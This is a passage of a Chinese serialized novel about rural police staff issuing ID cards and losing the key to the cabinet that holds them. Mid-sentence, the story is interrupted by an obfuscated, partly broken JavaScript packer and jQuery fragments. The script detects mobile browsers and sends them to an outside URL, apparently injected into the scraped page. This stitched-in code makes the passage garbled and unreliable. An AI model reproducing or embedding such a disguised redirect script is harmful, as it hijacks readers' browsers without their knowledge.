王老五接过表格，一个字一个字地瞅，确认没错，才哼了一声，转身要走。

    “叔，等等。”段旭叫住他，“这是给您的塑封膜，等身份证下来，您自己就能封上，结实。”

    王老五愣了愣，接过塑封膜，没说话，转身走了。

    小林红着眼圈说：“段哥，都怪我……”

    “不怪你。”段旭拍了拍他的肩膀，“咱面对的是几千号人，每个人都把自己的名字、生日看得比啥都重，这没错。以后啊，咱就把每个名字都当宝贝似的对待。”他拿起桌上的登记册，翻到其中一页：“你看，这上面的每个名字，都连着一个家，连着一家人的日子。咱得对这些名字负责。”

    小林重重地点头，拿起红笔，在自己的笔记本上写下“认真核对每一个字”。

    日子一天天过去，办公室的灯常常亮到后半夜。段旭的眼镜换了副新镜片，因为旧的那副被他熬红的眼睛盯出了裂纹；李振猛的自行车胎补了三次，车铃却依旧清脆；小王的指甲缝里永远带着洗不掉的药水痕迹，可他洗出来的照片，越来越清晰，连张大爷下巴上的皱纹都能看得一清二楚。

    有天傍晚，小林整理表格时突然发现，最早抵触□□的几个村民，都主动来补登信息了。“段哥，你看，张大爷带了他那耳聋的老伴来，说‘不能让她成黑户’；李婶家老三从南阳寄信来，让家里人帮他把证办了寄过去，还特意嘱咐要拍精神点……”

    段旭笑着点头，心里却突然一紧——放身份证的铁皮柜钥匙，不见了。

    那铁皮柜是前两天刚从乡政府借来的，专门用来存放已经制作好的身份证。第一批身份证刚送过来，足有三百多张，明天一早就要通知村民来领。这钥匙要是丢了，麻烦可就大了。

    五、月光下的钥匙

    那天傍晚，最后一批身份证送抵办公室时，夕阳正透过窗缝斜照进来，在地上投下道金光。三百多张身份证，整整齐齐码在铁皮柜里，像一摞摞沉甸甸的信任。段旭捧着那沓崭新的证件，指尖抚过塑封表面，冰凉的触感里透着股踏实——三个月，一千多个小时，终于要见到成果了。

    “段哥，咱们晚上加个餐吧？我请大家吃烩面！”小林举着空了的钢笔水囊，笑得露出两颗小虎牙。他刚来所里时还怯生生的，现在已经能独当一面了。

    段旭刚要应声，却见负责保管证件的老周慌慌张张跑进来，脸色白得像张纸：“段、段哥，不好了！放身份证的柜子钥匙……不见了！”

    这话像块石头砸进平静的湖面，办公室里瞬间鸦雀无声。小林刚扬起的嘴角僵在脸上，小王手里的药水瓶差点脱手——那柜子里是三百多户的期盼，丢了任何一张，都没法交代。

    “你再说一遍？”段旭的声音有些发紧，他放下证件，快步走到铁皮柜前。柜子是乡政府淘

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16926179|192731||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    汰下来的旧物，锁芯早就不太灵，全靠那把黄铜钥匙才能打开。

    “我、我下午还打开过，把新到的证放进去……”老周的声音带着哭腔，手忙脚乱地翻着口袋，“后来整理桌子，可能……可能随手放哪儿了……”

    “别急，慢慢想。”段旭按住他的肩膀，指尖却在微微发颤，“最后一次用钥匙是啥时候？在哪儿用的？”